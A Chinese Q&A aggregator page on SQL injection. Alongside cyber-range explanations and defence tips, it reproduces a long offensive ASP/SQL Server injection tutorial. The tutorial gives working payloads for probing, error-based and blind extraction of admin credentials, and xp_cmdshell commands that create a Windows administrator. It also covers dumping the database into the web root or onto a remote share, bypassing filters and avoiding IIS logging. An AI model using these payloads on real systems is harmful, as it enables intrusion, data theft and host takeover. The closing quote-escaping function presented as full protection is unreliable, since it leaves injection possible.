當前位置:首頁 » 編程語言 » sql注入需要靶場環境嗎
擴展閱讀
怎麼清除預覽圖片的緩存 2022-11-30 14:15:11
c語言創建有序鏈表 2022-11-30 14:08:06

sql注入需要靶場環境嗎

發布時間: 2022-11-22 20:36:52

A. 這是一份網路靶場入門攻略

近年來,國內外安全形勢日益嚴峻,網路安全問題日益凸顯。前有燃油運輸管道被堵,後有全球最大肉食品供應商被黑客入侵,這標志著越來越多的國家級關鍵基礎設施提供方,特種行業,以及大型公共服務業被黑客當作攻擊目標,加大對信息安全保障的投入迫在眉睫。除了軟硬體技術設備的投入之外,專業的安全人才重金難求已是公認的事實,據統計,20年我國信息安全人才缺口高達140萬,利用網路靶場可以體系,規范,流程化的訓練網安人才的特點打造屬於企業自己的安全維護隊伍是大勢所趨。

網路與信息安全是一個以實踐為基礎的專業,因此,建設網路安全實訓靶場,不僅僅讓靶場成為一個知識的學習中心,更是一個技能實踐中心,一個技術研究中心。網路攻防實訓靶場平台的建設,不僅要關注培訓教學業務的支撐建設,更要關注網路與信息安全技能綜合訓練場的建設。以支撐受訓人員課上課下的學習、攻防技能演練、業務能力評估、協同工作訓練和技術研究與驗證,以保證能貼近不同培訓業務的需要,並支持多維度量化每個參與者的各種能力,有計劃地提升團隊各個方面的技術能力。因此,建設一套實戰性強、知識覆蓋全面、綜合型的集培訓、網路攻防演練及競賽、測試於一體的網路靶場是非常有必要的

免費領取學習中資料
2021年全套網路安全資料包及最新面試題
(滲透工具,環境搭建、HTML,PHP,Mysql基礎學習,信息收集,SQL注入,XSS,CSRF,暴力破解等等)

網路靶場(Cyber Range)是一個供5方角色協同使用的網路系統模擬平台。用於支撐網路安全人才培養、網路攻防訓練、安全產品評測和網路新技術驗證。

網路安全人員要就攻防技術進行訓練、演練;一項新的網路技術要試驗,不能在互聯網上進行(造成不可逆的破壞),於是需要建立網路靶場,把網路的要素虛擬到網路靶場。

在網路靶場中進行網路安全活動,不僅可以避免對現實資源的佔用和消耗,還可以做到對資源的反復利用。每一次安全試驗造成的傷害程度都是可控的、可檢測的,試驗結束後還能夠對收集的試驗數據進行分析和研究。網路靶場在不影響真實環境的情況下可以提高網路安全從業人員的技術,也可以發現安全產品的漏洞從而提升安全產品的性能與安全性。

網路靶場共有五種角色:黃、白、紅、藍、綠。

黃方是「導調」角色,整個網路試驗的「導演」,負責:

1、設計試驗

2、控制試驗:開始、停止、恢復、停止

3、查看試驗:查看試驗的進度、狀態、詳細過程

白方是網路靶場平台「管理」角色,靶場試驗「劇務」,負責試驗開始前的准備工作和試驗進行時的「日常事務」處理:

1、試前構建目標網路、模擬網路環境等;

2、試中負責系統運維等;

3、試後回收和釋放資源等。

紅方是「攻擊」角色,靶場試驗的「反派演員」,與藍方相對,攻防演練中向藍方發起攻擊。

藍方是「防禦」角色,靶場試驗的「正派演員」,與紅方相對,攻防演練中抵禦紅方攻擊。

綠方是「檢測」角色,靶場試驗的「監視器」,監控紅藍兩方在演練中的一舉一動,具體負責:

1、監測當前紅藍方的具體行為

2、當紅藍方攻擊防守成功,研判還原成功的過程、攻擊手法、防禦方法

3、監測紅方違規操作

4、試驗或試驗片斷進行定量和定性的評估

5、分析試驗的攻防機理(比如針對新型蠕蟲分析其運行、傳播機理)

試驗開始前,「導演」黃方想定攻防試驗的具體內容和任務目標,確定參與試驗的人員安排,設計試驗的具體網路環境、應用環境和具體的攻擊步驟。

修房首先從房屋結構入手,搭建網路靶場時最基礎的事情是明確網路結構、搭建網路拓撲。白方根據黃方在任務想定環節設計的網路拓撲圖生成路由器、交換機、計算機等設備,並將設備依照拓撲圖配置和連接,生成試驗所需的網路環境結構。

除了網路結構,目標網路還要為用戶訪問瀏覽器、收發郵件等操作提供應用環境,就像房屋在入住前要裝修出卧室、廚房,給住戶就寢、做飯提供空間一樣。有了相應的應用環境,才有空間進行相關的活動。

白方在生成目標網路後,還要根據黃方的設計將靶標系統接入目標網路。靶標,即攻擊的目標。靶標系統可以是實際的設備,也可以是虛擬化技術生成的靶標系統,針對不同的任務類型,靶標的設定會有所差異。

「活」的網路,除了網路結構完整,還要有活動發生。真實的網路環境時時刻刻都不是靜止的,每一分每一秒都有人聊天、打游戲、刷短視頻……白方在目標網路生成後,通過模擬這些活動流量和行為,並將其投放到網路靶場中,讓靶場「活」起來,更加接近實際的網路環境,而不是一片實驗室虛擬出的凈土。

模擬的流量分為近景和遠景兩種。近景流量指用戶操作行為,包含攻擊方的攻擊流量、防守方的防守流量以及用戶打開瀏覽器、收發郵件等訪問應用系統的行為流量,遠景流量即與試驗本身不相關的背景流量。

流量模擬和目標網路生成共同構成網路靶場的完整虛擬環境,讓後續的演習更加真實,也部分增加了演習的難度。

准備工作完成後,紅方和藍方根據黃方的試驗設計,在白方搭建的環境中展開攻防演練。紅方發起攻擊,藍方抵禦攻擊。

試驗進行時,綠方全程監控紅藍兩方在演練中的一舉一動,根據需求全面採集數據,掌握諸如攻擊發起方、攻擊類型、攻擊步驟、是否存在違規行為等信息,並通過可視化界面實時展示檢測結果。

試驗結束後,綠方基於前期採集的數據,進一步進行評分和分析工作。

小到某次攻防行為、大到某次攻防演習,綠方在給出量化評分的同時,還要給出具體評價,給出優點亮點和尚存在的缺點不足。

結合試驗表現和試驗目的進行分析,並出具相關的分析結果。若試驗目的是研究某種新型攻擊,則分析其機理;若試驗目的是檢驗某個安防產品,則分析其安全缺陷。

綠方的一系列工作,有助於我們了解靶場中發生的所有安全事件,正確分析網路靶場的態勢,作出更准確的評估。

網路靶場有三種類型的應用模式:內打內、內打外、外打內。此外還有分布式網路靶場模式。

紅、藍雙方都在靶場內。內打內應用模式主要有CTF線下安全競賽、紅藍攻防對抗賽和科學試驗等。

CTF(Capture The Flag)即奪旗賽,其目標是從目標網路環境中獲取特定的字元串或其他內容(Flag)並且提交(Capture The Flag)。

科學試驗是指科研人員針對新型網路技術進行的測試性試驗,根據試驗結果對新技術進行反饋迭代。

內打外即紅方在靶場內,藍方在靶場外。

外打內即紅方在靶場外,藍方在靶場內,典型應用是安全產品評測。

為什麼會有這個需求呢?通常,我們要知道一個安全設備好不好用、一個安全方案是不是有效,有幾種方法:第一,請專業的滲透測試,出具滲透測試報告,但這種只能測一次的活動,叫靜態測試。可是大家清楚,即使今天測過了,明天產品、方案也可能會出現新的問題和漏洞。那麼,「靶場眾測」的場景就出來了。把實物或者虛擬化的產品/方案放到靶場,作為靶標讓白帽子盡情「攻擊」。如果把它攻垮了,我們就知道哪裡有問題了,這種開放測試,由於眾多白帽子的參與、以及不影響生產環境不會造成後果、能放開手腳「攻擊」,效果比聘請幾個專家去現場測試要好的多。如果產品一直放在靶場,就可以在長期的眾測中不斷發現問題,促進產品持續迭代提升。

分布式靶場即通過互聯多個網路靶場,實現網路靶場間的功能復用、資源共享。由於單個網路靶場的處理能力和資源都是有限的,分布式靶場可以將多個網路靶場的資源綜合利用起來,並且這種利用對於使用人員是透明的。

比如,現有一個銀行網路靶場A和一個電力網路靶場B,當前有一個試驗任務既需要銀行網路環境,又需要電力網路環境。那麼我們可以將現有的A、B兩個網路靶場互聯起來展開試驗。

分布式靶場能夠連接各行各業的網路靶場,更大程度上實現全方位綜合互聯網路逼真模擬。

網路靶場存在三個主要科學問題,這三個問題反映了網路靶場在關鍵技術上面臨的挑戰。

1)建得快

網路靶場用戶眾多,還會出現多個用戶同時使用的情況,但是大部分用戶的使用時間不長,這就需要網路靶場目標網路包括網路環境要能夠快速生成、快速擦除回收,特別是節點數量較大的應用,是一項技術上重大的挑戰。沒有過硬的網路構建能力,基礎設施以及虛擬化編排技術是很難實現的。

2)仿得真

由於網路靶場是用有限的資源仿造真實網路,大部分要素需要虛擬化,而非實物。因此如何逼真的模擬目標網路元素是一項持續的挑戰問題。網路靶場中,一台實物路由器的功能是否都在其虛擬設備上具備?如果功能缺失,是否會對靶場應用造成影響?靶標、網路環境、虛擬設備、背景流量的逼真模擬同理,網路環境模擬還需要服務於靶場具體應用場景,這些都依賴於長期的積累。

網路靶場綠方主要有以下挑戰:

1、如何針對網路靶場運行中產生的大量數據進行針對性的採集?

2、只要是採集就要有接觸(比如醫學檢驗,可能要抽血,可能要有儀器深入身體),有接觸就有影響(影響目標網路的計算資源、網路資源……),如何使影響盡量小,如何平衡這種影響和採集全面、准確性?

3、如何基於採集到的多樣、海量的數據,分析、提煉、評估出靶場綠方需要得出的信息?

這是對探針採集能力、大數據關聯能力、事件分析還原能力、安全知識圖譜能力的綜合考驗。

1、網路靶場多個試驗同時進行,必須保證試驗間互相獨立,互不幹擾。就像多個房間在射擊打靶,不能從這個房間打到另一個房間去了。

2、目標網路和分析網路必須嚴格安全隔離,即紅方和綠方、白方、黃方要安全隔離,不能紅方把綠方打癱了,也就是參加比賽的人把裁判系統攻陷了,同時試驗間的角色、系統間也需要安全隔離。

3、同時,安全隔離的同時不能影響網路靶場運行的性能。

B. 什麼是SQL注入

SQL注入:利用現有應用程序,將(惡意)的SQL命令注入到後台資料庫引擎執行的能力,這是SQL注入的標准釋義。
隨著B/S模式被廣泛的應用,用這種模式編寫應用程序的程序員也越來越多,但由於開發人員的水平和經驗參差不齊,相當一部分的開發人員在編寫代碼的時候,沒有對用戶的輸入數據或者是頁面中所攜帶的信息(如Cookie)進行必要的合法性判斷,導致了攻擊者可以提交一段資料庫查詢代碼,根據程序返回的結果,獲得一些他想得到的數據。

SQL注入利用的是正常的HTTP服務埠,表面上看來和正常的web訪問沒有區別,隱蔽性極強,不易被發現。
SQL注入攻擊過程分為五個步驟:
第一步:判斷Web環境是否可以SQL注入。如果URL僅是對網頁的訪問,不存在SQL注入問題,如:http://www.../162414739931.shtml就是普通的網頁訪問。只有對資料庫進行動態查詢的業務才可能存在SQL注入,如:http://www...../webhp?id=39,其中?id=39表示資料庫查詢變數,這種語句會在資料庫中執行,因此可能會給資料庫帶來威脅。
第二步:尋找SQL注入點。完成上一步的片斷後,就要尋找可利用的注入漏洞,通過輸入一些特殊語句,可以根據瀏覽器返回信息,判斷資料庫類型,從而構建資料庫查詢語句找到注入點。

第三步:猜解用戶名和密碼。資料庫中存放的表名、欄位名都是有規律可言的。通過構建特殊資料庫語句在資料庫中依次查找表名、欄位名、用戶名和密碼的長度,以及內容。這個猜測過程可以通過網上大量注入工具快速實現,並藉助破解網站輕易破譯用戶密碼。

第四步:尋找WEB管理後台入口。通常WEB後台管理的界面不面向普通用戶

開放,要尋找到後台的登陸路徑,可以利用掃描工具快速搜索到可能的登陸地址,依次進行嘗試,就可以試出管理台的入口地址。

第五步:入侵和破壞。成功登陸後台管理後,接下來就可以任意進行破壞行為,如篡改網頁、上傳木馬、修改、泄漏用戶信息等,並進一步入侵資料庫伺服器。
SQL注入攻擊的特點:

變種極多,有經驗的攻擊者會手動調整攻擊參數,致使攻擊數據的變種是不可枚舉的,這導致傳統的特徵匹配檢測方法僅能識別相當少的攻擊,難以防範。

攻擊過程簡單,目前互聯網上流行眾多的SQL注入攻擊工具,攻擊者藉助這些工具可很快對目標WEB系統實施攻擊和破壞。

危害大,由於WEB編程語言自身的缺陷以及具有安全編程能力的開發人員少之又少,大多數WEB業務系統均具有被SQL注入攻擊的可能。而攻擊者一旦攻擊成功,可以對控制整個WEB業務系統,對數據做任意的修改,破壞力達到及至。

SQL注入的危害和現狀

SQL注入的主要危害包括:

未經授權狀況下操作資料庫中的數據

惡意篡改網頁內容

私自添加系統帳號或者是資料庫使用者帳號

網頁掛木馬

如何防止SQL參數:
1,檢查上傳的數據,並過濾
2. 禁止拼接SQL字元串
3.使用SQL參數化處理
4.載入防入侵等硬體設施

C. sql注入攻擊的原理

sql注入攻擊的原理:SQL 注入(SQLi)是一種可執行惡意 SQL 語句的注入攻擊。這些 SQL 語句可控制網站背後的資料庫服務。攻擊者可利用 SQL 漏洞繞過網站已有的安全措施。他們可繞過網站的身份認證和授權並訪問整個 SQL 資料庫的數據。他們也可利用 SQL 注入對數據進行增加、修改和刪除操作。

為了發起 SQL 注入攻擊,攻擊者首先需要在網站或應用程序中找到那些易受攻擊的用戶輸入。這些用戶輸入被有漏洞的網站或應用程序直接用於 SQL 查詢語句中。攻擊者可創建這些輸入內容。這些內容往往被稱為惡意載體,它們是攻擊過程中的關鍵部分。隨後攻擊者將內容發送出去,惡意的 SQL 語句便會在資料庫中被執行。

D. 如何防範SQL注入式攻擊

SQL注入攻擊的危害很大,而且防火牆很難對攻擊行為進行攔截,主要的SQL注入攻擊防範方法,具體有以下幾個方面。
1、分級管理
對用戶進行分級管理,嚴格控制用戶的許可權,對於普通用戶,禁止給予資料庫建立、刪除、修改等相關許可權,只有系統管理員才具有增、刪、改、查的許可權。
2、參數傳值
程序員在書寫SQL語言時,禁止將變數直接寫入到SQL語句,必須通過設置相應的參數來傳遞相關的變數。從而抑制SQL注入。數據輸入不能直接嵌入到查詢語句中。同時要過濾輸入的內容,過濾掉不安全的輸入數據。或者採用參數傳值的方式傳遞輸入變數,這樣可以最大程度防範SQL注入攻擊。
3、基礎過濾與二次過濾
SQL注入攻擊前,入侵者通過修改參數提交and等特殊字元,判斷是否存在漏洞,然後通過select、update等各種字元編寫SQL注入語句。因此防範SQL注入要對用戶輸入進行檢查,確保數據輸入的安全性,在具體檢查輸入或提交的變數時,對於單引號、雙引號、冒號等字元進行轉換或者過濾,從而有效防止SQL注入。
當然危險字元有很多,在獲取用戶輸入提交參數時,首先要進行基礎過濾,然後根據程序的功能及用戶輸入的可能性進行二次過濾,以確保系統的安全性。
4、使用安全參數
SQL資料庫為了有效抑制SQL注入攻擊的影響。在進行SQLServer資料庫設計時設置了專門的SQL安全參數。在程序編寫時應盡量使用安全參數來杜絕注入式攻擊,從而確保系統的安全性。
5、漏洞掃描
為了更有效地防範SQL注入攻擊,作為系統管理除了設置有效的防範措施,更應該及時發現系統存在SQL攻擊安全漏洞。系統管理員可以采購一些SQL漏洞掃描工具,通過專業的掃描工具,可以及時的掃描到系統存在的相應漏洞。
6、多層驗證
現在的網站系統功能越來越龐大復雜。為確保系統的安全,訪問者的數據輸入必須經過嚴格的驗證才能進入系統,驗證沒通過的輸入直接被拒絕訪問資料庫,並且向上層系統發出錯誤提示信息。同時在客戶端訪問程序中驗證訪問者的相關輸入信息,從而更有效的防止簡單的SQL注入。但是如果多層驗證中的下層如果驗證數據通過,那麼繞過客戶端的攻擊者就能夠隨意訪問系統。因此在進行多層驗證時,要每個層次相互配合,只有在客戶端和系統端都進行有效的驗證防護,才能更好地防範SQL注入攻擊。
7、資料庫信息加密
傳統的加解密方法大致分為三種:對稱加密、非對稱加密、不可逆加密。

E. 什麼是sql 注入,如何實現注入

找了一個,希望能幫助你
隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由於這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。

SQL注入是從正常的WWW埠訪問,而且表面看起來跟一般的Web頁面訪問沒什麼區別,所以目前市面的防火牆都不會對SQL注入發出警報

,如果管理員沒查看IIS日誌的習慣,可能被入侵很長時間都不會發覺。

但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據,是高手與「菜鳥」的根本區別。

根據國情,國內的網站用ASP+Access或SQLServer的佔70%以上,PHP+MySQ佔L20%,其他的不足10%。在本文,我們從分入門、進階至高級講解一下ASP注入的方法及技巧,PHP注入的文章由NB聯盟的另一位朋友zwell撰寫,希望對安全工作者和程序員都有用處。了解 ASP注入的朋友也請不要跳過入門篇,因為部分人對注入的基本判斷方法還存在誤區。大家准備好了嗎?Let's Go...

入門篇

如果你以前沒試過SQL注入的話,那麼第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則,不論伺服器返回什麼錯誤,IE都只顯示為HTTP 500伺服器錯誤,不能獲得更多的提示信息。

第一節、SQL注入原理

以下我們從一個網站www.mytest.com開始(註:本文發表前已徵得該站站長同意,大部分都是真實數據)。

在網站首頁上,有名為「IE不能打開新窗口的多種解決方法」的鏈接,地址為:http://www.mytest.com/showdetail.asp?id=49,我們在這個地址後面加上單引號』,伺服器會返回下面的錯誤提示:

Microsoft JET Database Engine 錯誤 '80040e14'

字元串的語法錯誤 在查詢表達式 'ID=49'' 中。

/showdetail.asp,行8

從這個錯誤提示我們能看出下面幾點:

1. 網站使用的是Access資料庫,通過JET引擎連接資料庫,而不是通過ODBC。

2. 程序沒有判斷客戶端提交的數據是否符合程序要求。

3. 該SQL語句所查詢的表中有一名為ID的欄位。

從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及伺服器的信息,從而獲取你想到得到的資料。

第二節、判斷能否進行SQL注入

看完第一節,有一些人會覺得:我也是經常這樣測試能否注入的,這不是很簡單嗎?

其實,這並不是最好的方法,為什麼呢?

首先,不一定每台伺服器的IIS都返回具體錯誤提示給客戶端,如果程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但伺服器同樣會報錯,具體提示信息為處理 URL 時伺服器上出錯。請和系統管理員聯絡。

其次,部分對SQL注入有一點了解的程序員,認為只

要把單引號過濾掉就安全了,這種情況不為少數,如果你用單引號測試,是測不到注入點的

那麼,什麼樣的測試方法才是比較准確呢?答案如下:

① http://www.mytest.com/showdetail.asp?id=49

② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1

③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

這就是經典的1=1、1=2測試法了,怎麼判斷呢?看看上面三個網址返回的結果就知道了:

可以注入的表現:

① 正常顯示(這是必然的,不然就是程序有錯誤了)

② 正常顯示,內容基本與①相同

③ 提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容為空(程序加了on error resume next)

不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會有程序定義的錯誤提示,或提示類型轉換時出錯。

當然,這只是傳入參數是數字型的時候用的判斷方法,實際應用的時候會有字元型和搜索型參數,我將在中級篇的「SQL注入一般步驟」再做分析。

第三節、判斷資料庫類型及注入方法

不同的資料庫的函數、注入方法都是有差異的,所以在注入之前,我們還要判斷一下資料庫的類型。一般ASP最常搭配的資料庫是Access和SQLServer,網上超過99%的網站都是其中之一。

怎麼讓程序告訴你它使用的什麼資料庫呢?來看看:

SQLServer有一些系統變數,如果伺服器IIS提示沒關閉,並且SQLServer返回錯誤提示的話,那可以直接從出錯信息獲取,方法如下:

http://www.mytest.com/showdetail.asp?id=49 ;and user>0

這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點在and user>0,我們知道,user是SQLServer的一個內置變數,它的值是當前連接的用戶名,類型為nvarchar。拿一個 nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarch

ar值 」abc」 轉換數據類型為 int 的列時發生語法錯誤,呵呵,abc正是變數user的值,這樣,不廢吹灰之力就拿到了資料庫的用戶名。在以後的篇幅里,大家會看到很多用這種方法的語句。

順便說幾句,眾所周知,SQLServer的用戶sa是個等同Adminstrators許可權的角色,拿到了sa許可權,幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將」dbo」轉換成int的列發生錯誤,而不是」sa」。

如果伺服器IIS不允許返回錯誤提示,那怎麼判斷資料庫類型呢?我們可以從Access和SQLServer和區別入手,Access和 SQLServer都有自己的系統表,比如存放資料庫中所有對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示「沒有許可權」,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。

在確認可以注入的情況下,使用下面的語句:

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

如果資料庫是SQLServer,那麼第一個網址的頁面與原頁面http://www.mytest.com/showdetail.asp?id= 49是大致相同的;而第二個網址,由於找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面完全不同。

如果資料庫用的是Access,那麼情況就有所不同,第一個網址的頁面與原頁面完全不同;第二個網址,則視乎資料庫設置是否允許讀該系統表,一般來說是不允許的,所以與原網址也是完全不同。大多數情況下,用第一個網址就可以得知系統所用的資料庫類型,第二個網址只作為開啟IIS錯誤提示時的驗證。

進階篇

在入門篇,我們學會了SQL注入的判斷方法,但真正要拿到網站的保密內容,是遠遠不夠的。接下來,我們就繼續學習如何從資料庫中獲取想要獲得的內容,首先,我們先看看SQL注入的一般步驟:

第一節、SQL注入的一般步驟

首先,判斷環境,尋找注入點,判斷資料庫類型,這在入門篇已經講過了。

其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型主要分為下面三種:

(A) ID=49 這類注入的參

數是數字型,SQL語句原貌大致如下:

Select * from 表名 where 欄位=49

注入的參數為ID=49 And [查詢條件],即是生成語句:

Select * from 表名 where 欄位=49 And [查詢條件]

(B) Class=連續劇 這類注入的參數是字元型,SQL語句原貌大致概如下:

Select * from 表名 where 欄位=』連續劇』

注入的參數為Class=連續劇』 and [查詢條件] and 『』=』 ,即是生成語句:

Select * from 表名 where 欄位=』連續劇』 and [查詢條件] and 『』=』』

&; 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:

Select * from 表名 where 欄位like 』%關鍵字%』

注入的參數為keyword=』 and [查詢條件] and 『%25』=』, 即是生成語句:

Select * from 表名 where欄位like 』%』 and [查詢條件] and 『%』=』%』

接著,將查詢條件替換成SQL語句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0

如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環,直至猜到表名為止。

表名猜出來後,將Count(*)替換成Count(欄位名),用同樣的原理猜解欄位名。

有人會說:這里有一些偶然的成分,如果表名起得很復雜沒規律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的黑客技術,蒼蠅不叮無縫的蛋,無論多技術多高深的黑客,都是因為別人的程序寫得不嚴密或使用者保密意識不夠,才有得下手。

有點跑題了,話說回來,對於SQLServer的庫,還是有辦法讓程序告訴我們表名及欄位名的,我們在高級篇中會做介紹。

最後,在表名和列名猜解成功後,再使用SQL語句,得出欄位的值,下面介紹一種最常用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。

我們舉個例子,已知表Admin中存在username欄位,首先,我們取第一條記錄,測試長度:

http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

先說明原理:如果top 1的username長度大於0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

當然沒人會笨得從0,1,2,3一個個測試,怎麼樣才比較快就看各自發揮了。在得到username的長度後,用mid(username,N,1)截取第N位字元,再asc(mid(username,N,1))得到ASCII碼,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同樣也是用逐步縮小范圍的方法得到第1位字元的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程序測試,效率會有極大的提高。

第二節、SQL注入常用函數

有SQL語言基礎的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函數及命令。

Access:asc(字元) SQLServer:unicode(字元)

作用:返回某字元的ASCII碼

Access:chr(數字) SQLServer:nchar(數字)

作用:與asc相反,根據ASCII碼返回字元

Access:mid(字元串,N,L) SQLServer:substring(字元串,N,L)

作用:返回字元串從N個字元起長度為L的子字元串,即N到N+L之間的字元串

Access:abc(數字) SQLServer:abc (數字)

作用:返回數字的絕對值(在猜解漢字的時候會用到)

Access:A between B And C SQLServer:A between B And C

作用:

判斷A是否界於B與C之間

第三節、中文處理方法

在注入中碰到中文字元是常有的事,有些人一碰到中文字元就想打退堂鼓了。其實只要對中文的編碼有所了解,「中文恐懼症」很快可以克服。

先說一點常識:

Access中,中文的ASCII碼可能會出現負數,取出該負數後用abs()取絕對值,漢字字元不變。

SQL Server中,中文的ASCII為正數,但由於是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode ()返回unicode值,再用nchar函數取得對應的中文字元。

了解了上面的兩點後,是不是覺得中文猜解其實也跟英文差不多呢?除了使用的函數要注意、猜解范圍大一點外,方法是沒什麼兩樣的。

高級篇

看完入門篇和進階篇後,稍加練習,破解一般的網站是沒問題了。但如果碰到表名列名猜不到,或程序作者過濾了一些特殊字元,怎麼提高注入的成功率?怎麼樣提高猜解效率?請大家接著往下看高級篇。

第一節、利用系統表注入SQLServer資料庫

SQL Server是一個功能強大的資料庫系統,與操作系統也有緊密的聯系,這給開發者帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子



① http://Site/url.asp?id=1;exec master..xp_cmdshell 「net user name password /add」--

分號;在SQLServer中表示隔開前後兩句語句,--表示後面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執行,先是Select出ID=1的記錄,然後執行存儲過程xp_cmdshell,這個存儲過程用於調用系統命令,於是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:

② http://Site/url.asp?id=1;exec master..xp_cmdshell 「net localgroup name administrators /add」--

將新建的帳號name加入管理員組,不用兩分鍾,你已經拿到了系統最高許可權!當然,這種方法只適用於用sa連接資料庫的情況,否則,是沒有許可權調用xp_cmdshell的。

③ http://Site/url.asp?id=1 ;and db_name()>0

前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變數,返回的是連接的資料庫名。

④ http://Site/url.asp?id=1;backup database 資料庫名 to disk=』c:\inetpub\wwwroot\1.db』;--

這是相當狠的一招,從③拿到的資料庫名,加上某些IIS出錯暴露出的絕對路徑,將資料庫備份到Web目錄下面,再用HTTP把整個資料庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網路地址的方法(如\202.96.xx.xx\Share \1.db),但成功率不高。

⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=』U』 and status>0)>0

前面說過,sysobjects是SQLServer的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype=』U』 and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎麼獲取?還是留給我們聰明的讀者思考吧。

⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(『表名』),1) from sysobjects)>0

從⑤拿到表名後,用object_id(『表名』)獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個欄位名,將1換成2,3,4...就可以逐個獲取所猜解表裡面的欄位名。

以上6點是我研究SQLServer注入半年多以來的心血結晶,可以看出,對SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之後,我在開發方面的水平也得到很大的提高,呵呵,也許安全與開發本來就是相輔相成的吧。

第二節、繞過程序限制繼續注入

在入門篇提到,有很多人喜歡用』號測試注入漏洞,所以也有很多人用過濾』號的方法來「防止」注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關的函數,達到繞過程序限制的目的。

在「SQL注入的一般步驟」一節中,我所用的語句,都是經過我優化,讓其不包含有單引號的;在「利用系統表注入SQLServer資料庫」中,有些語句包含有』號,我們舉個例子來看

看怎麼改造這些語句:

簡單的如where xtype=』U』,字元U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字元是中文的,比如where name=』用戶』,可以用where name=nchar(29992)+nchar(25143)代替。

第三節、經驗小結

1.有些人會過濾Select、Update、Delete這些關鍵字,但偏偏忘記區分大小寫,所以大家可以用selecT這樣嘗試一下。

2.在猜不到欄位名時,不妨看看網站上的登錄表單,一般為了方便起見,欄位名都與表單的輸入框取相同的名字。

3.特別注意:地址欄的+號傳入程序後解釋為空格,%2B解釋為+號,%25解釋為%號,具體可以參考URLEncode的相關介紹。

4.用Get方法注入時,IIS會記錄你所有的提交字元串,對Post方法做則不記錄,所以能用Post的網址盡量不用Get。

5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區別即可,但是如果能用SQLServer的報錯信息把值暴露出來,那效率和准確率會有極大的提高。

防範方法

SQL注入漏洞可謂是「千里之堤,潰於蟻穴」,這種漏洞在網上極為普遍,通常是由於程序員對注入不了解,或者程序過濾不嚴格,或者某個參數忘記檢查導致。在這里,我給大家一個函數,代替ASP中的Request函數,可以對一切的SQL注入Say NO,函數如下:

Function SafeRequest(ParaName,ParaType)
'--- 傳入參數 ---
'ParaName:參數名稱-字元型
'ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數為字元)

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "參數" & ParaName & "必須為數字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function

F. phstudy搭建靶場練習什麼比較好

練習sql注入。phstudy靶場搭建為了更好地學習web網路安全知識,可以通過搭建靶場進行練習sql注入、xss等常見漏洞。搭建phstudy靶場練習要具備資料庫和運行環境。而這些可以很有效的鍛煉sql的注入,檢查資料庫的練習。

G. 關於SQL注入。

我還沒進公司時,網站平均15天被注入一次,我進公司以後,大力整改,至今3個月,未見被注入。
我告訴你我的方法。
總結起來就是:關鍵詞屏蔽或替換 + 參數法sql。
